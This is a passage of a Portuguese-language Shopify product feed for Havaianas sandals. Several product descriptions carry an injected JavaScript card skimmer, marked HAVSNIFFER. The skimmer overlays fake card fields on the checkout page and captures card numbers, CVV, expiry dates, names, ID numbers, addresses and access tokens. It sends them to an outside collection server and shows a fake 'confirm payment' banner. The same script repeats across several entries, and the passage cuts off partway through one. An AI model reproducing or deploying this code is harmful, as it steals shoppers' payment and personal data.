dinheiro.\u003cbr\u003e Feito 100% de silicone, esse acessório conta com o logo Havaianas em destaque, na textura e no zíper.\u003cbr\u003e Além disso, essa mini bolsa vem com uma alça de metal para você acoplá-la na mochila ou onde quiser.\u003cbr\u003e Escolha sua cor favorita e compre já.\u003cbr\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Cinza Esverdeado \/ Único","offer_id":46311484358913,"sku":"4149160_1156_998","price":64.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149160-1156-gadget-logomania-0.png?v=1757419994"},{"product_id":"chinelo-havaianas-track-plus-4149926_3225","title":"Chinelo Havaianas Track Plus","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eLeve e versátil, esse é o chinelo masculino Havaianas Track Plus.\u003cbr\u003e Perfeita para a praia e também para a cidade, essa sandália possui tiras mais grossas e produzidas em tecido para um melhor encaixe nos pés.\u003cbr\u003e O solado tratorado e robusto proporciona mais estabilidade e garante conforto extra.\u003cbr\u003e O icônico logo Havaianas em formato de tag nas tiras é o toque final nesse design moderno.\u003cbr\u003e Produto possui um calce robusto, podendo ser necessário a compra de uma numeração menor do que a sua padrão de havaianas\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Grafite \/ 37\/38","offer_id":46311486619905,"sku":"4149926_3225_378","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Grafite \/ 39\/40","offer_id":46311486652673,"sku":"4149926_3225_390","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Grafite \/ 41\/42","offer_id":46311486685441,"sku":"4149926_3225_412","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Grafite \/ 43\/44","offer_id":46311486718209,"sku":"4149926_3225_434","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Grafite \/ 45\/46","offer_id":46311486750977,"sku":"4149926_3225_456","price":159.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149926-3225-track-plus-0.png?v=1747765871"},{"product_id":"chinelo-havaianas-track-plus-4149926_4368","title":"Chinelo Havaianas Track Plus","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eLeve e versátil, esse é o chinelo masculino Havaianas Track Plus.\u003cbr\u003e Perfeita para a praia e também para a cidade, essa sandália possui tiras mais grossas e produzidas em tecido para um melhor encaixe nos pés.\u003cbr\u003e O solado tratorado e robusto proporciona mais estabilidade e garante conforto extra.\u003cbr\u003e O icônico logo Havaianas em formato de tag nas tiras é o toque final nesse design moderno.\u003cbr\u003e Produto possui um calce robusto, podendo ser necessário a compra de uma numeração menor do que a sua padrão de havaianas\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Marinho \/ 37\/38","offer_id":46311487045889,"sku":"4149926_4368_378","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 39\/40","offer_id":46311487078657,"sku":"4149926_4368_390","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 41\/42","offer_id":46311487111425,"sku":"4149926_4368_412","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 43\/44","offer_id":46311487144193,"sku":"4149926_4368_434","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 45\/46","offer_id":46311487176961,"sku":"4149926_4368_456","price":159.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149926-4368-track-plus-0.png?v=1747765831"},{"product_id":"chinelo-havaianas-track-plus-4149926_5002","title":"Chinelo Havaianas Track Plus","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) 